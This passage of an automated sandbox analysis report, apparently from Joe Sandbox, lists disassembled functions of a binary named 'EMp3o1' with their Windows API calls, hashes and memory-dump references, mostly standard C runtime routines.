API String ID: 3140674995-0
Opcode ID: 710f6283529bc39a5878960356047a6e461f095b9b13c17159f2665477d47395
Instruction ID: f1c933509e1f8cdddf8f4145be2bea6528d4af4c1eff3bce56930e1798c00c8f
Opcode Fuzzy Hash: 710f6283529bc39a5878960356047a6e461f095b9b13c17159f2665477d47395
Instruction Fuzzy Hash: 8D31747270AB818AEB608F60E8503ED7365FB94794F44403ADA4E47B9ADF3CD568C718

Function 0000000140007C91 Relevance: 9.1, APIs: 6, Instructions: 137COMMON

Download Yara Rule

APIs

RtlCaptureContext.KERNEL32 ref: 0000000140007D66
IsDebuggerPresent.KERNEL32 ref: 0000000140007DAA
SetUnhandledExceptionFilter.KERNEL32 ref: 0000000140007DB4
UnhandledExceptionFilter.KERNEL32 ref: 0000000140007DBF
GetCurrentProcess.KERNEL32 ref: 0000000140007DD5
TerminateProcess.KERNEL32 ref: 0000000140007DE3

Memory Dump Source

Source File: 00000005.00000002.2765360873.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000005.00000002.2765344950.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765412481.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765429932.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765446190.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_140000000_EMp3o1.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CaptureContextCurrentDebuggerPresentTerminate
String ID:
API String ID: 1269745586-0
Opcode ID: 971e421c69f8e6a9c7be80a9fd1684b11f1d9217f6c56614116cebe2abaa4248
Instruction ID: e2ab3ef72b7f240c54b21dbf897bf6525f512fe4427dd1c0d247b710ac710d4c
Opcode Fuzzy Hash: 971e421c69f8e6a9c7be80a9fd1684b11f1d9217f6c56614116cebe2abaa4248
Instruction Fuzzy Hash: 53115972608B8186D7129F62F8407CE77B0FB89B91F854122EB8A43765EF3DC845CB00

Function 00007FFDAC0876E0 Relevance: 9.1, APIs: 6, Instructions: 83COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlCaptureContext.KERNEL32 ref: 00007FFDAC087759
RtlLookupFunctionEntry.KERNEL32 ref: 00007FFDAC087771
RtlVirtualUnwind.KERNEL32 ref: 00007FFDAC0877AC
IsDebuggerPresent.KERNEL32 ref: 00007FFDAC0877E5
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FFDAC0877EF
UnhandledExceptionFilter.KERNEL32 ref: 00007FFDAC0877FA

Memory Dump Source

Source File: 00000005.00000002.2765479883.00007FFDAC081000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FFDAC080000, based on PE: true

Associated: 00000005.00000002.2765462706.00007FFDAC080000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2765503012.00007FFDAC092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2765556416.00007FFDAC09D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2765573557.00007FFDAC09F000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffdac080000_EMp3o1.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: 5eef0cc7783b0be87f0727cc0123e63361c6ac4350bb89c20972030a757485fe
Instruction ID: 5f09794681e17309a01d33d532f5fbd7733a4d4469f5c5be62c47ac91716394e
Opcode Fuzzy Hash: 5eef0cc7783b0be87f0727cc0123e63361c6ac4350bb89c20972030a757485fe
Instruction Fuzzy Hash: 0A318232709B818ADB60CF24E8503AE73A4FB887A4F504535EA8D43B5ADF3CC165CB08

Function 000000014000A370 Relevance: 7.5, APIs: 5, Instructions: 41timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 000000014000A3AF
GetCurrentProcessId.KERNEL32 ref: 000000014000A3BA
GetCurrentThreadId.KERNEL32 ref: 000000014000A3C6
GetTickCount.KERNEL32 ref: 000000014000A3D2
QueryPerformanceCounter.KERNEL32 ref: 000000014000A3E3

Memory Dump Source

Source File: 00000005.00000002.2765360873.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000005.00000002.2765344950.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765412481.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765429932.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765446190.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_140000000_EMp3o1.jbxd

Similarity

API ID: CurrentTime$CountCounterFilePerformanceProcessQuerySystemThreadTick
String ID:
API String ID: 1445889803-0
Opcode ID: 348833bf0fd47251ec8459b694c57c39dac6eb63685dc4ebaa15df7501b8973f
Instruction ID: 72e860a1e5610cf2f60718b33953b9e9cfa3de8eae9ff42976e828aecb981d5d
Opcode Fuzzy Hash: 348833bf0fd47251ec8459b694c57c39dac6eb63685dc4ebaa15df7501b8973f
Instruction Fuzzy Hash: 4101F775255B4082EB928F26F9403957360F74EBA0F456220FFAE4B7B4DA3DCA958700

Function 0000000140004630 Relevance: 5.1, APIs: 4, Instructions: 80memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(?,?,?,00000001400047BB,?,?,?,0000000140003E7A,?,?,?,?,00000000,00000001400022A6), ref: 00000001400046B0
HeapReAlloc.KERNEL32(?,?,?,00000001400047BB,?,?,?,0000000140003E7A,?,?,?,?,00000000,00000001400022A6), ref: 00000001400046C1

Memory Dump Source

Source File: 00000005.00000002.2765360873.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000005.00000002.2765344950.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765412481.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765429932.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765446190.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_140000000_EMp3o1.jbxd

Similarity

API ID: Heap$AllocProcess
String ID:
API String ID: 1617791916-0
Opcode ID: e1b55434e6231e5ce6780f684ad3576ffb26ff33b9fae7a8d56a49fd816118fb
Instruction ID: 02c5a1d02253778f48d8bcd65850d79aa5baad65f26a42f950a3123f4edab52d
Opcode Fuzzy Hash: e1b55434e6231e5ce6780f684ad3576ffb26ff33b9fae7a8d56a49fd816118fb
Instruction Fuzzy Hash: CB31D1B2715A8082EB06CF57F44039863A0F74DBC4F584025EF5D57B69EB39C8A28704

Function 00000001400106B0 Relevance: 4.5, APIs: 3, Instructions: 47COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlCaptureContext.KERNEL32 ref: 00000001400106EF
SetUnhandledExceptionFilter.KERNEL32 ref: 0000000140010735
UnhandledExceptionFilter.KERNEL32 ref: 0000000140010740

Memory Dump Source

Source File: 00000005.00000002.2765360873.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000005.00000002.2765344950.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765412481.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765429932.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765446190.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_140000000_EMp3o1.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContext
String ID:
API String ID: 2202868296-0
Opcode ID: 905f91afdcc57dbacad6504ae7f65679640b92e152865c9b61e81d303733290d
Instruction ID: a6869a7b9d4117274e99734abe304e52ce4a6a571683f9898e15e7d65764808a
Opcode Fuzzy Hash: 905f91afdcc57dbacad6504ae7f65679640b92e152865c9b61e81d303733290d
Instruction Fuzzy Hash: 44014C31218A8482E7269B62F4543DA62A0FBCD385F440129B78E0B6F6DF3DC544CB01

Function 00007FFDAC090248 Relevance: 3.2, APIs: 2, Instructions: 227COMMONLIBRARYCODE

Download Yara Rule

APIs

_clrfp.LIBCMT ref: 00007FFDAC090497
RaiseException.KERNEL32 ref: 00007FFDAC0904A8

Memory Dump Source

Source File: 00000005.00000002.2765479883.00007FFDAC081000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FFDAC080000, based on PE: true

Associated: 00000005.00000002.2765462706.00007FFDAC080000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2765503012.00007FFDAC092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2765556416.00007FFDAC09D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2765573557.00007FFDAC09F000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffdac080000_EMp3o1.jbxd

Similarity

API ID: ExceptionRaise_clrfp
String ID:
API String ID: 15204871-0
Opcode ID: 242015c6cea6594ab8d644b6eea7da2ef8062d64434110bbd4fb3fd5cf8f1a15
Instruction ID: 0ef66192a08c96f70334001e251273d1a2624dcc2c0a5d00edda494235d47d44
Opcode Fuzzy Hash: 242015c6cea6594ab8d644b6eea7da2ef8062d64434110bbd4fb3fd5cf8f1a15
Instruction Fuzzy Hash: 35B15A73605B898BEB15CF29C89636C3BA0F748B9CF148921DB5D837A5CB39D461D708

Function 00000001400103D0 Relevance: 3.2, APIs: 2, Instructions: 183COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32 ref: 00000001400105C2
GetLastError.KERNEL32 ref: 00000001400105ED

Memory Dump Source

Source File: 00000005.00000002.2765360873.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000005.00000002.2765344950.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765412481.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765429932.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765446190.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_140000000_EMp3o1.jbxd

Similarity

API ID: ByteCharErrorLastMultiWide
String ID:
API String ID: 203985260-0
Opcode ID: 52eb8cb33472843dab3d23723d723ebc9e780f32240a0bf22a1f45fa5c529dea
Instruction ID: 2a1840496c7657cf23b6901bcaaf21815035fe120b0a860a82176d8039cbaff9
Opcode Fuzzy Hash: 52eb8cb33472843dab3d23723d723ebc9e780f32240a0bf22a1f45fa5c529dea
Instruction Fuzzy Hash: C871DF72A04AA086F7A3DF12E441BDA72A1F78CBD4F148121FF880B7A5DB798851CB10

Function 0000000140010CF0 Relevance: 3.1, APIs: 2, Instructions: 82COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2765360873.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000005.00000002.2765344950.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765412481.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765429932.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765446190.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_140000000_EMp3o1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a23616b521790ba98c8a4ca650accd459689c226ef9c151115ac5421c5afe981
Instruction ID: 31705e6bd3fe747407dbe92e60a9b5f63bdbefd7c066999fadf2412e4a74ef82
Opcode Fuzzy Hash: a23616b521790ba98c8a4ca650accd459689c226ef9c151115ac5421c5afe981
Instruction Fuzzy Hash: BD312B3260066442F723AF77F845BDE7651AB987E0F254224BB690B7F2CFB9C4418300

Function 00007FFDAC08A1B8 Relevance: 1.6, APIs: 1, Instructions: 149COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2765479883.00007FFDAC081000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FFDAC080000, based on PE: true

Associated: 00000005.00000002.2765462706.00007FFDAC080000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2765503012.00007FFDAC092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2765556416.00007FFDAC09D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2765573557.00007FFDAC09F000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffdac080000_EMp3o1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4a2880f174246bb62df44fff46a4d3d73a1dc8eca39573d4fb70521656c567db
Instruction ID: b0c536d0d63251921301f6c9a719d4ada1723f3455c9473d39280d2c5cb17aef
Opcode Fuzzy Hash: 4a2880f174246bb62df44fff46a4d3d73a1dc8eca39573d4fb70521656c567db
Instruction Fuzzy Hash: 6651D622B0978185EB309B71A8542AE7BA4FB40BE4F148134EE5C27B9ADF3CD421D70C

Function 0000000140011270 Relevance: 1.6, APIs: 1, Instructions: 84COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlLookupFunctionEntry.KERNEL32 ref: 00000001400112F1

Memory Dump Source

Source File: 00000005.00000002.2765360873.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000005.00000002.2765344950.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765412481.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765429932.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765446190.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_140000000_EMp3o1.jbxd

Similarity

API ID: EntryFunctionLookup
String ID:
API String ID: 3852435196-0
Opcode ID: 41b57387ab27fe441920d3618a9a3fade831f152bc6ed6de484845005a0f7214
Instruction ID: 0a16dca171e58903ec1b218c91cdb1b04bf095347935d32e98aab42d926b4c07
Opcode Fuzzy Hash: 41b57387ab27fe441920d3618a9a3fade831f152bc6ed6de484845005a0f7214
Instruction Fuzzy Hash: 7A316D33700A5482DB15CF16F484BA9B724F788BE8F868102EF2D47B99EB35D592C704

Function 000000014000DDD9 Relevance: 1.6, Strings: 1, Instructions: 301COMMON

Download Yara Rule

Strings

, xrefs: 000000014000E388

Memory Dump Source

Source File: 00000005.00000002.2765360873.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000005.00000002.2765344950.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765412481.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765429932.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765446190.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_140000000_EMp3o1.jbxd

Similarity

API ID:
String ID:
API String ID: 0-3916222277
Opcode ID: 4dbe44af600c182fb51974a0b490eba2bf44001a013ded284afa934d15dcb5c0
Instruction ID: 9b910ad21b0c4e6c2a4c619a0863cbecb71c4e07d0bd79d978466706db7fd7a1
Opcode Fuzzy Hash: 4dbe44af600c182fb51974a0b490eba2bf44001a013ded284afa934d15dcb5c0
Instruction Fuzzy Hash: 2FD1DEF25087C486F7A2DE16B5083AABAA0F7593E4F240115FF9527AF5E779C884CB40

Function 000000014000F370 Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

GetLocaleInfoA.KERNEL32 ref: 000000014000F398

Memory Dump Source

Source File: 00000005.00000002.2765360873.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000005.00000002.2765344950.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765412481.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765429932.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765446190.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_140000000_EMp3o1.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: e82685a3153856f58f3176b49433fa40cc0a6602fc72f3bc0670cd1eec4d2bc4
Instruction ID: a72933d7652eee1ce42449f64e4370b365fbcbea739f10b8ca5cd41f8ceea018
Opcode Fuzzy Hash: e82685a3153856f58f3176b49433fa40cc0a6602fc72f3bc0670cd1eec4d2bc4
Instruction Fuzzy Hash: EDF0FEF261468085EA62EB22B4123DA6750A79D7A8F800216FB9D476BADE3DC2558A00

Function 000000014000E178 Relevance: 1.5, Strings: 1, Instructions: 260COMMON

Download Yara Rule

Strings

-, xrefs: 000000014000E358

Memory Dump Source

Source File: 00000005.00000002.2765360873.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000005.00000002.2765344950.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765412481.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765429932.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765446190.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_140000000_EMp3o1.jbxd

Similarity

API ID:
String ID: -
API String ID: 0-2547889144
Opcode ID: 2c0fe4c55243f33cdb34ec3615e3d347b9ce4ba35bb8967fdbcfce9d52a551a3
Instruction ID: 5aef184856849f1d0e814b0a8e39d0e8e949ccad25035a2bf8530ae42cfb47ec
Opcode Fuzzy Hash: 2c0fe4c55243f33cdb34ec3615e3d347b9ce4ba35bb8967fdbcfce9d52a551a3
Instruction Fuzzy Hash: 5CB1CFF36086C482F7A6CE16B6083AABAA5F7597D4F240115FF4973AF4D779C8808B00

Function 000000014000DFFE Relevance: 1.5, Strings: 1, Instructions: 256COMMON

Download Yara Rule

Strings

-, xrefs: 000000014000E358

Memory Dump Source

Source File: 00000005.00000002.2765360873.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000005.00000002.2765344950.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765412481.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765429932.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765446190.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_140000000_EMp3o1.jbxd

Similarity

API ID:
String ID: -
API String ID: 0-2547889144
Opcode ID: d0b365294d50e82b05b46562bde9ad75935525663af60c2549490a2d68dcad7f
Instruction ID: 5cc8c865c9461daf8b0756d8ed2731e20d175c685145385c3f78aef56f479fea
Opcode Fuzzy Hash: d0b365294d50e82b05b46562bde9ad75935525663af60c2549490a2d68dcad7f
Instruction Fuzzy Hash: 5FB1A0F26087C486F772CF16B5043AABAA1F7997D4F240115FF5923AE4DBB9C9848B40

Function 00000001400092E0 Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32 ref: 00000001400092EB

Memory Dump Source

Source File: 00000005.00000002.2765360873.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000005.00000002.2765344950.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765412481.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765429932.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765446190.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_140000000_EMp3o1.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 836f1dd34661b3a221f56dc19e791b08cc78d614d7e29c7f03eced68424ee8fe
Instruction ID: 6026514bbd401dabfdc0327cb8eb2cc9cc42ab70edfd582905dc0376ef34508b
Opcode Fuzzy Hash: 836f1dd34661b3a221f56dc19e791b08cc78d614d7e29c7f03eced68424ee8fe
Instruction Fuzzy Hash: 37B09260A61400D1D605AF22AC8538022A0775C340FC00410E20986130DA3C819A8700

Function 000000014000DEFB Relevance: 1.5, Strings: 1, Instructions: 216COMMON

Download Yara Rule

Strings

-, xrefs: 000000014000E358

Memory Dump Source

Source File: 00000005.00000002.2765360873.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000005.00000002.2765344950.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765412481.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765429932.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765446190.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_140000000_EMp3o1.jbxd

Similarity

API ID:
String ID: -
API String ID: 0-2547889144
Opcode ID: ac637b882370d0844742d876f6d50665fbc38b4c3acf89c25781960c99b4f2e0
Instruction ID: f0a9775499ae8e11c0cd3741dc570bab2f5201344a81d2c1a5008a9dc88a1dca
Opcode Fuzzy Hash: ac637b882370d0844742d876f6d50665fbc38b4c3acf89c25781960c99b4f2e0
Instruction Fuzzy Hash: 7E91D4F2A047C485FBB2CE16B6083AA7AE0B7597E4F141516FF49236F4DB79C9448B40

Function 000000014000DDFF Relevance: 1.4, Strings: 1, Instructions: 192COMMON

Download Yara Rule

Strings

-, xrefs: 000000014000E358

Memory Dump Source

Source File: 00000005.00000002.2765360873.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000005.00000002.2765344950.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765412481.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765429932.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765446190.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_140000000_EMp3o1.jbxd

Similarity

API ID:
String ID: -
API String ID: 0-2547889144
Opcode ID: ab76a755316d4a48554b78acaf832b3985bbd0abb48915d025235a6fa293112f
Instruction ID: 8f8310eeb878d4aa74977829efb49c2c7de80d27e4d4fb150cd5d5e4432a17d7
Opcode Fuzzy Hash: ab76a755316d4a48554b78acaf832b3985bbd0abb48915d025235a6fa293112f
Instruction Fuzzy Hash: 51818FB26087C485F7B2CE16B5083AA7AA0F7997D8F141116FF45636F4DB79C984CB40

Function 000000014000DE96 Relevance: 1.4, Strings: 1, Instructions: 191COMMON

Download Yara Rule

Strings

-, xrefs: 000000014000E358

Memory Dump Source

Source File: 00000005.00000002.2765360873.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000005.00000002.2765344950.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765412481.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765429932.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765446190.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_140000000_EMp3o1.jbxd

Similarity

API ID:
String ID: -
API String ID: 0-2547889144
Opcode ID: c4b1ae68995c86a4b6842fa045a9432b0b2524c7844d6ccb0434c0756f7f8cc7
Instruction ID: f8efd74c2ac63e8556513dce229926bc74ff59f5ae5890729ffd39c1599aad0a
Opcode Fuzzy Hash: c4b1ae68995c86a4b6842fa045a9432b0b2524c7844d6ccb0434c0756f7f8cc7
Instruction Fuzzy Hash: BE81B0F2608BC486F7A2CE16B5083AA7AA1F7587E4F140515FF59236F4DB79C984CB40

Function 000000014000CC00 Relevance: .1, Instructions: 89COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2765360873.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000005.00000002.2765344950.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765412481.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765429932.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765446190.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_140000000_EMp3o1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 382482a43049451918361ff49eb8a1074a352d433c0d3f6017d26c5ae398af27
Instruction ID: 63b5043dbdffafa71f1ddaca105bc0afa02b2cba45448f866c4c658d1faf9303
Opcode Fuzzy Hash: 382482a43049451918361ff49eb8a1074a352d433c0d3f6017d26c5ae398af27
Instruction Fuzzy Hash: B031B0B262129045F317AF37F941FAE7652AB897E0F514626FF29477E2CA3C88028704

Function 000000014000C2A0 Relevance: .1, Instructions: 89COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2765360873.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000005.00000002.2765344950.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765412481.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765429932.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765446190.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_140000000_EMp3o1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b2d421cb8e45ff6c5d0cd91ffb7c0551f31bf35597a99ffb978e455b190e8185
Instruction ID: b610fbdfd0d7c5655a75ac718b847164fa7f0802b4cc155a4829149d785d36e6
Opcode Fuzzy Hash: b2d421cb8e45ff6c5d0cd91ffb7c0551f31bf35597a99ffb978e455b190e8185
Instruction Fuzzy Hash: FE317EB262129445F717AF37B942BAE7652AB887F0F519716BF39077E2CA7C88018710

Function 00000001400110F0 Relevance: .1, Instructions: 78COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2765360873.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000005.00000002.2765344950.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765412481.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765429932.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765446190.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_140000000_EMp3o1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b1ae0088751324d3bee5442ce8c7f4399171e4b45f421078da355ce765193e83
Instruction ID: e0c281a5a51834f3cf9ef76d9d4ef001c4a7356b2a993cafd714ca14a0116626
Opcode Fuzzy Hash: b1ae0088751324d3bee5442ce8c7f4399171e4b45f421078da355ce765193e83
Instruction Fuzzy Hash: F831E472A1029056F31BAF77F881BDEB652A7C87E0F655629BB190B7E3CA3D84008700

Function 00007FFDAC08FD40 Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2765479883.00007FFDAC081000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FFDAC080000, based on PE: true

Associated: 00000005.00000002.2765462706.00007FFDAC080000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2765503012.00007FFDAC092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2765556416.00007FFDAC09D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2765573557.00007FFDAC09F000.00000002.00000001.01000000.00000009.sdmpDownload File

